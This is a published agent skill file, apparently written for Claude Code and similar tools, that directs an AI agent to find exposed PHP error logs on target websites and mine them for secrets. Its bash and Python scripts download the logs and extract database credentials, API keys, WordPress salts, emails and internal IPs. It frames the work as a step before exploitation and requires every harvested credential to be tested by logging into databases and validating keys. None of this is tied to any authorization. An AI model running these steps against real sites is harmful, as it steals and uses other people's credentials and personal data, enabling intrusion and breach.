# Error Log Mining

> Mine error_log for creds, paths, SQL when leak hunt finds.

- Skill: `uphiago/error-log-mining` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add uphiago/error-log-mining`
- Raw SKILL.md: https://api.skillmd.com/api/skills/uphiago/error-log-mining/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- License: MIT
- Author: uphiago (https://skillmd.com/u/uphiago)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/uphiago/error-log-mining

---


# Error Log Mining Skill

Discover and analyze exposed PHP `error_log` files for server paths, database
errors, SQL fragments, API-key candidates, email addresses, and internal
addresses. Collect a bounded sample and validate the sensitivity of its content
instead of inferring impact from file size or status.

## When to Use

- Running `deep-invade` Phase 2 on a high-value target.
- `skill_view(name='source-leak-hunt')` found an `error_log` file with HTTP 200.
- Target has PHP (WordPress, Laravel, custom PHP) with `display_errors` possibly enabled.
- You need server-side context (paths, DB structure) before attempting exploitation.

## Prerequisites

- `terminal` with curl, grep, and python3.
- Target URL with potential error_log at common paths.
- Disk space: error logs can be multi-GB. Use `curl -r` for range requests on large files.

## How to Run

```bash
TARGET="https://example.com"

# Paths to probe
for path in "error_log" "wp-content/debug.log" "debug.log" "errors.log" \
  "php_errors.log" "wp-content/error.log" "logs/error.log"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
  [[ "$code" == "200" ]] && echo "FOUND: $TARGET/$path"
done

# Download and analyze
curl --max-time 30 --connect-timeout 10 -sk "$TARGET/error_log" -o error_log.txt
python3 analyze_log.py error_log.txt
```

## Quick Reference

| Extraction Target | Python regex | Value |
|------------------|--------------------------------------|-------|
| Server paths | `re.findall(r'/home/[^\s:)]+', txt)` | Full directory structure |
| Email addresses | `re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)` | Admin emails |
| DB credentials | `DB_USER[^=]*=[\s'\"]*([^'\";\s]+)` `DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)` `DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)` `DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)` | Database access |
| API keys | `sk-[a-zA-Z0-9]{20,60}` `AIza[0-9A-Za-z_-]{35}` `AKIA[0-9A-Z]{16}` `eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}` | Stripe, Google, AWS, JWT |
| SQL queries | `(?:SELECT\|INSERT\|UPDATE\|DELETE\|CREATE TABLE\|ALTER TABLE)[^;]{0,300}` | DB schema, table names |
| WordPress salts | `(?:AUTH_KEY\|SECURE_AUTH_KEY\|LOGGED_IN_KEY\|NONCE_KEY\|AUTH_SALT\|SECURE_AUTH_SALT\|LOGGED_IN_SALT\|NONCE_SALT)[^,;]+` | Session hijack potential |
| PHP error types | `Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)` | Error breakdown |
| Date range | `re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)` | Log freshness |

## Procedure

### Step 1 — Discover Error Log Location

```bash
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
mkdir -p "$OUTDIR"

echo "[*] Probing common error log paths on $TARGET..."

ERROR_LOG_PATHS=(
  "error_log"
  "wp-content/debug.log"
  "debug.log"
  "errors.log"
  "php_errors.log"
  "wp-content/error.log"
  "logs/error.log"
  "log/error.log"
  "tmp/php-errors.log"
  "wp-content/plugins/debug.log"
  "wp-content/themes/debug.log"
)

FOUND_LOGS=()

for path in "${ERROR_LOG_PATHS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    # Quick content check to avoid SPA false positives
    sample=$(curl -sk --max-time 5 --connect-timeout 5 -r 0-500 "https://$TARGET/$path" 2>/dev/null)
    if echo "$sample" | grep -qiE 'PHP|Error|Warning|Stack trace|\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4}'; then
      echo "[FOUND] https://$TARGET/$path"
      FOUND_LOGS+=("https://$TARGET/$path")
    fi
  fi
  sleep 0.3
done

echo "[+] Found ${#FOUND_LOGS[@]} error log(s)"
```

### Step 2 — Download and Sample Large Logs

```bash
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"

for url in "${FOUND_LOGS[@]}"; do
  fname=$(echo "$url" | sed 's|https\?://||' | sed 's|/|_|g')

  echo "[*] Downloading $url..."

  # First, check file size
  size=$(curl -skI --max-time 10 --connect-timeout 10 "$url" 2>/dev/null | grep -i "content-length" | awk '{print $2}' | tr -d '\r')

  if [[ -n "$size" && "$size" -gt 10000000 ]]; then
    echo "  Large file (${size} bytes) — sampling first 5MB..."
    curl -sk --max-time 30 --connect-timeout 10 -r 0-5000000 "$url" -o "$OUTDIR/${fname}_sample.txt" 2>/dev/null
  elif [[ -n "$size" && "$size" -gt 1000000 ]]; then
    echo "  Medium file (${size} bytes) — downloading full..."
    curl -sk --max-time 30 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
  else
    echo "  Small file — downloading full..."
    curl -sk --max-time 15 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
  fi
  sleep 0.5
done
```

### Step 3 — Extract Intelligence

```bash
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"

for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
  [[ ! -f "$logfile" ]] && continue

  echo ""
  echo "═══════════ $(basename "$logfile") ═══════════"
  echo ""

  # 1. Server Paths
  echo "[SERVER PATHS]"
  grep -Eo '(/[a-zA-Z0-9_/.-]+\.php)' "$logfile" 2>/dev/null | sort -u | head -20

  # 2. Email Addresses
  echo ""
  echo "[EMAIL ADDRESSES]"
  grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$logfile" 2>/dev/null | sort -u | head -15

  # 3. Database Credentials
  echo ""
  echo "[DB CREDENTIALS & CONNECTIONS]"
  grep -iE 'mysql_connect|mysqli_connect|new PDO|pg_connect|DB_HOST|DB_USER|DB_PASSWORD|DB_NAME|database.*password|dsn.*mysql' "$logfile" 2>/dev/null | head -10

  # 4. SQL Queries
  echo ""
  echo "[SQL QUERIES]"
  grep -iE '(SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE|DROP TABLE).*(FROM|INTO|SET)' "$logfile" 2>/dev/null | head -10

  # 5. API Keys & Tokens
  echo ""
  echo "[API KEYS & TOKENS]"
  grep -iE 'api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|bearer [A-Za-z0-9_\-]{20,}|sk-[A-Za-z0-9]{20,}|key=[A-Za-z0-9]{20,}' "$logfile" 2>/dev/null | head -10

  # 6. Internal IPs
  echo ""
  echo "[INTERNAL IPs]"
  grep -Eo '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}' "$logfile" 2>/dev/null | sort -u | head -10

  # 7. WordPress specific
  echo ""
  echo "[WORDPRESS PATHS]"
  grep -Eo '/wp-content/(?:plugins|themes|uploads)/[a-zA-Z0-9_/.-]+' "$logfile" 2>/dev/null | sort -u | head -15

  # 8. PHP Error Summary
  echo ""
  echo "[ERROR SUMMARY]"
  echo "  Fatal errors:    $(grep -ci 'Fatal error' "$logfile" 2>/dev/null || echo 0)"
  echo "  Warnings:        $(grep -ci 'Warning' "$logfile" 2>/dev/null || echo 0)"
  echo "  Notices:         $(grep -ci 'Notice' "$logfile" 2>/dev/null || echo 0)"
  echo "  Parse errors:    $(grep -ci 'Parse error' "$logfile" 2>/dev/null || echo 0)"
  echo "  Deprecated:      $(grep -ci 'Deprecated' "$logfile" 2>/dev/null || echo 0)"
  echo "  Stack traces:    $(grep -ci 'Stack trace' "$logfile" 2>/dev/null || echo 0)"

  # 9. Date Range
  echo ""
  echo "[DATE RANGE]"
  first=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | head -1)
  last=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | tail -1)
  [[ -n "$first" ]] && echo "  First: $first"
  [[ -n "$last" ]] && echo "  Last:  $last"

  # 10. Plugin/Theme Names from Paths
  echo ""
  echo "[PLUGINS FROM ERRORS]"
  grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -20

  echo ""
  echo "[THEMES FROM ERRORS]"
  grep -Eo '/wp-content/themes/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -10
  sleep 0.3
done
```

### Step 4 — Extract Actionable Intelligence

```bash
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
SUMMARY="$OUTDIR/intel_summary.md"

cat > "$SUMMARY" << EOF
# Error Log Intelligence — $TARGET

## Credentials Found
EOF

for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
  [[ ! -f "$logfile" ]] && continue

  # DB credentials
  grep -iE 'DB_HOST|DB_USER|DB_PASSWORD|DB_NAME' "$logfile" 2>/dev/null | while read -r line; do
    echo "- $line" >> "$SUMMARY"
  done

  # API keys
  grep -iE 'api[_-]?key.*=|api[_-]?secret.*=|access[_-]?token.*=' "$logfile" 2>/dev/null | while read -r line; do
    echo "- $line" >> "$SUMMARY"
  done
done

echo "" >> "$SUMMARY"
echo "## Server Paths" >> "$SUMMARY"
grep -Eo '/[a-zA-Z0-9_/.-]+\.php' "$OUTDIR"/*.txt 2>/dev/null | sort -u | head -30 | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo "" >> "$SUMMARY"
echo "## Email Addresses" >> "$SUMMARY"
grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo "" >> "$SUMMARY"
echo "## Plugins Discovered" >> "$SUMMARY"
grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo ""
echo "[+] Intelligence summary saved to $SUMMARY"
```

### Step 5 — Cross-Reference with Other Findings

```bash
# Does error log reveal the DB name? Cross-ref with wp-config leak
DB_NAME=$(grep -Eo 'DB_NAME["\x27\s:=]+["\x27][a-zA-Z0-9_]+' $OUTDIR/error_logs/*/intel_summary.md 2>/dev/null)
echo "DB name from logs: $DB_NAME"

# Does it reveal internal hostnames?
HOSTNAMES=$(grep -Eo '(?:[a-zA-Z0-9-]+\.(?:internal|local|lan|corp|priv))' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$HOSTNAMES" ]] && echo "Internal hostnames:" && echo "$HOSTNAMES"

# Are there file inclusion paths that indicate LFI potential?
LFI_PATHS=$(grep -Eo '(?:include|require|include_once|require_once)\s*\(\s*[\x27"]([^\x27"]+\.php)' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$LFI_PATHS" ]] && echo "Potential LFI paths:" && echo "$LFI_PATHS"
```

## Bounded Log Miner

```python
import re
from collections import Counter

def mine_error_log(txt):
    results = {}

    # Server paths
    results['paths'] = sorted(set(re.findall(r'/home/[^\s:)]+', txt)))[:20]

    # Email addresses
    results['emails'] = sorted(set(re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)))[:20]

    # DB credentials (4 patterns extracted from php error context)
    db_creds = set()
    for pat in [r"DB_USER[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)"]:
        for m in re.findall(pat, txt): db_creds.add(m)
    results['db_creds'] = sorted(db_creds)

    # API keys (5 pattern classes — all extracted from error context)
    api_keys = set()
    for pat in [r'sk-[a-zA-Z0-9]{20,60}',           # Stripe
                r'AIza[0-9A-Za-z_-]{35}',            # Google
                r'AKIA[0-9A-Z]{16}',                  # AWS IAM
                r'pk_[a-zA-Z0-9]+',                   # Publishable keys
                r'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}']:  # JWT
        for m in re.findall(pat, txt): api_keys.add(m)
    results['api_keys'] = sorted(api_keys)[:10]

    # SQL queries
    results['sql_queries'] = re.findall(
        r'(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}',
        txt, re.I)[:10]

    # WordPress salts (session hijack potential)
    results['wp_salts'] = re.findall(
        r"(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+",
        txt)

    # Error type breakdown
    results['error_types'] = Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)

    # Date range
    dates = re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)
    if dates:
        results['date_range'] = f"{dates[0]} to {dates[-1]} ({len(set(dates))} unique dates)"

    return results
```

## Pitfalls

- **Error logs can be very large.** Check `Content-Length` before downloading
  and use a bounded range such as `curl -r 0-5000000` for an initial sample.
- **Logs may contain PII.** Email addresses, IPs, and usernames in error logs may constitute a data breach. Handle responsibly.
- **Log rotation may truncate.** The visible error_log may only contain recent entries. Check for rotated logs (`error_log.1`, `error_log.old`, `error_log-YYYYMMDD`).
- **Some hosts return garbage.** A 200 on `/error_log` might be a custom 404 page or SPA catch-all. Always check content for `PHP ` + error type pattern before analyzing.
- **Old logs ≠ current vulnerability.** A 2013 error log doesn't mean the current site is vulnerable. Cross-reference log timeline with the server tech stack.

## Verification

- Error log MUST contain PHP error patterns (`[date] PHP Warning:`, `Stack trace:`, `Fatal error:`) to be valid.
- Every credential extracted MUST be tested for validity (try MySQL connect, API key validation).
- Server paths MUST match the known directory structure (e.g., `/home/user/public_html/`).
- Document the error log URL, file size, date range, and key findings for the report.
- API keys from error logs are almost always production keys (unlike JS bundle keys which are often restricted).